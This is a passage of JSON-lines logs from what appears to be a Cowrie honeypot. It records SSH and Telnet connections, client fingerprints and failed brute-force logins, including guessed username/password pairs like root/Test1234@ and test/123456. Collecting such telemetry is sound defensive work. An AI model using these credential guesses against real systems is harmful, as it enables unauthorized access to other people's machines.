21","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.425818Z","src_ip":"87.106.47.28","session":"b9a883231ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:40.850463Z","src_ip":"87.106.47.28","session":"b9a883231ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:41.950709Z","src_ip":"87.106.47.28","session":"b9a883231ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1qaz2wsx","message":"login attempt [myuser/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:42.617738Z","src_ip":"45.78.204.254","session":"d643120bf78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38734,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab3d574abe79","protocol":"telnet","message":"New connection: 172.81.62.90:38734 (159.203.135.109:23) [session: ab3d574abe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:42.658865Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:43.897492Z","src_ip":"45.78.204.254","session":"d643120bf78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":42438,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f67aa0d0665","protocol":"ssh","message":"New connection: 181.188.176.242:42438 (10.17.0.5:22) [session: 7f67aa0d0665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:47.577993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:47.582597Z","src_ip":"181.188.176.242","session":"7f67aa0d0665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:47.745978Z","src_ip":"181.188.176.242","session":"7f67aa0d0665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234@","message":"login attempt [root/Test1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:48.432443Z","src_ip":"181.188.176.242","session":"7f67aa0d0665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:49.598667Z","src_ip":"181.188.176.242","session":"7f67aa0d0665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5847,"dst_ip":"10.17.0.5","dst_port":22,"session":"972f857cddd4","protocol":"ssh","message":"New connection: 196.188.93.169:5847 (10.17.0.5:22) [session: 972f857cddd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:52.588067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:52.592126Z","src_ip":"196.188.93.169","session":"972f857cddd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:52.763699Z","src_ip":"196.188.93.169","session":"972f857cddd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fatemeh","password":"fatemeh","message":"login attempt [fatemeh/fatemeh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:53.478595Z","src_ip":"196.188.93.169","session":"972f857cddd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:54.652435Z","src_ip":"196.188.93.169","session":"972f857cddd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":43924,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cc7bad9f45","protocol":"telnet","message":"New connection: 172.81.62.90:43924 (159.203.135.109:23) [session: 05cc7bad9f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:58.786273Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55188,"dst_ip":"159.203.135.109","dst_port":23,"session":"40dcc96501aa","protocol":"telnet","message":"New connection: 172.81.62.90:55188 (159.203.135.109:23) [session: 40dcc96501aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:59.533971Z"}
{"eventid":"cowrie.session.closed","duration":0.004271507263183594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:47:59.538103Z","src_ip":"172.81.62.90","session":"40dcc96501aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51848,"dst_ip":"10.17.0.5","dst_port":22,"session":"14ae0d7025ec","protocol":"ssh","message":"New connection: 103.149.28.157:51848 (10.17.0.5:22) [session: 14ae0d7025ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:02.648560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:02.654276Z","src_ip":"103.149.28.157","session":"14ae0d7025ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:02.911410Z","src_ip":"103.149.28.157","session":"14ae0d7025ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24111982","message":"login attempt [root/24111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:03.682873Z","src_ip":"103.149.28.157","session":"14ae0d7025ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:04.946520Z","src_ip":"103.149.28.157","session":"14ae0d7025ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":33438,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec6e950470de","protocol":"ssh","message":"New connection: 14.63.196.175:33438 (159.203.135.109:22) [session: ec6e950470de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:18.697921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:18.703120Z","src_ip":"14.63.196.175","session":"ec6e950470de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:18.903987Z","src_ip":"14.63.196.175","session":"ec6e950470de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"car","password":"car","message":"login attempt [car/car] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:19.739646Z","src_ip":"14.63.196.175","session":"ec6e950470de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:20.945350Z","src_ip":"14.63.196.175","session":"ec6e950470de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.97401976585388,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:21.632744Z","src_ip":"172.81.62.90","session":"ab3d574abe79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52986,"dst_ip":"159.203.135.109","dst_port":23,"session":"c19b3dc1b55b","protocol":"telnet","message":"New connection: 128.199.8.54:52986 (159.203.135.109:23) [session: c19b3dc1b55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:34.515546Z"}
{"eventid":"cowrie.session.closed","duration":36.85294437408447,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:35.639073Z","src_ip":"172.81.62.90","session":"05cc7bad9f45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba0fc0432b25","protocol":"ssh","message":"New connection: 177.85.247.230:49022 (10.17.0.5:22) [session: ba0fc0432b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:47.318858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:47.323097Z","src_ip":"177.85.247.230","session":"ba0fc0432b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:47.426504Z","src_ip":"177.85.247.230","session":"ba0fc0432b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intel","password":"intel123","message":"login attempt [intel/intel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:47.875099Z","src_ip":"177.85.247.230","session":"ba0fc0432b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:48.981500Z","src_ip":"177.85.247.230","session":"ba0fc0432b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":53242,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c227c69f174","protocol":"ssh","message":"New connection: 45.123.217.22:53242 (10.17.0.5:22) [session: 2c227c69f174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:51.452945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:51.457484Z","src_ip":"45.123.217.22","session":"2c227c69f174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:51.692442Z","src_ip":"45.123.217.22","session":"2c227c69f174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":13062,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a83796073b","protocol":"ssh","message":"New connection: 36.92.41.115:13062 (10.17.0.5:22) [session: 08a83796073b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:52.597610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:52.605188Z","src_ip":"36.92.41.115","session":"08a83796073b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"admin@123","message":"login attempt [test/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:52.662242Z","src_ip":"45.123.217.22","session":"2c227c69f174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:52.862110Z","src_ip":"36.92.41.115","session":"08a83796073b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:53.897577Z","src_ip":"45.123.217.22","session":"2c227c69f174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:53.920596Z","src_ip":"36.92.41.115","session":"08a83796073b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49326,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeda7fd464b9","protocol":"ssh","message":"New connection: 80.66.85.226:49326 (10.17.0.5:22) [session: eeda7fd464b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.012637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:48:55.016975Z","src_ip":"80.66.85.226","session":"eeda7fd464b9","protocol":"ssh"}
